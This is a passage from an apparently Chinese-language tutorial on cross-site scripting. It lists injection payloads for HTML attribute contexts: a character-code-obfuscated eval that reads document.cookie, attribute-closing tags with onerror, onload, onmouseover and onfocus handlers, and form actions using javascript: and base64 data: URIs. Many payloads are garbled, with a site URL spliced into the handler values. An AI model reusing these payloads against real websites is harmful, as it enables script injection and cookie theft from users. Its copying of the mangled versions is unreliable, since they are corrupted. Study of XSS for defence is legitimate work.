4.1.4 执行代码转换成unicode编码,再通过eval执行
<img src=http://juejin.cn/post/6900861207561895950/N onerror ="eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41))"> 复制代码4.2. HTML标签属性中
很多时候输出发生在HTML属性, 例如
、
,再比如等
4.2.1 自行闭合双引号构造闭合标签:
"><img src='http://juejin.cn/post/6900861207561895950/a' onerror=http://juejin.cn/post/6900861207561895950/alert(document.domain)> "><svg/onload=http://juejin.cn/post/6900861207561895950/alert(document.domain)> <a href=http://juejin.cn/post/6900861207561895950/abcd.jsp?ttt=1000 onmouseover=http://juejin.cn/post/6900861207561895950/alert(123) y=2016>2</a> <a href="" onclick=eval(alert('xss'))>aaa</a> <a href="">aaa</a> 复制代码构造on事件:
" onmouseover=http://juejin.cn/post/6900861207561895950/alert(document.domain)> 复制代码增加注释符//:
" onmouseover=http://juejin.cn/post/6900861207561895950/alert(document.domain)> // 复制代码利用html5 autofocus功能进行XSS:
aaaaa" autofocus onfocus="location=this.name" aaa"> 复制代码很多时候遇到的场景并不会这么简单, 程序员会将双引号 " 过滤为实体 例如
<input type="text" value="烧饼" onclick="alert(1)" />
Form标签闭合引号:
<form method=Post action=http://juejin.cn/post/6900861207561895950/abcd.jsp?ttt=1000 onmouseover=prompt(962613) y=&enddate=2016 > #action后面直接空格 <input type='text' value=0> <input type='submit' value='GO'> </form> <form method=Post action=javascript:alert('xss') > <input type='text' value=0> <input type='submit' value='GO'> </form> <form method=Post action=1 onmouseover=http://juejin.cn/post/6900861207561895950/alert(123) bbb=111 > <input type='text' value=0> <input type='submit' value='GO'> </form> <form method=Post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="> <input type='text' value=0> <input type='submit' value='GO'> </form> 复制代码4.2.2 两个常见的输出例子
<HTML标签 onXXXX="...[输出在这里].."><a href="javascript:[输出在这里]">xxxx </a> 复制代码实际上, onxxxx="[输出]" 和 href="javascript:[输出]" 与 没有太大区别。因为[输出]所在的地方,都是javascript脚本。
但是 如果被过滤,往往没有太好的办法。而上面这2种情况,则有一个很好的办法绕过过滤。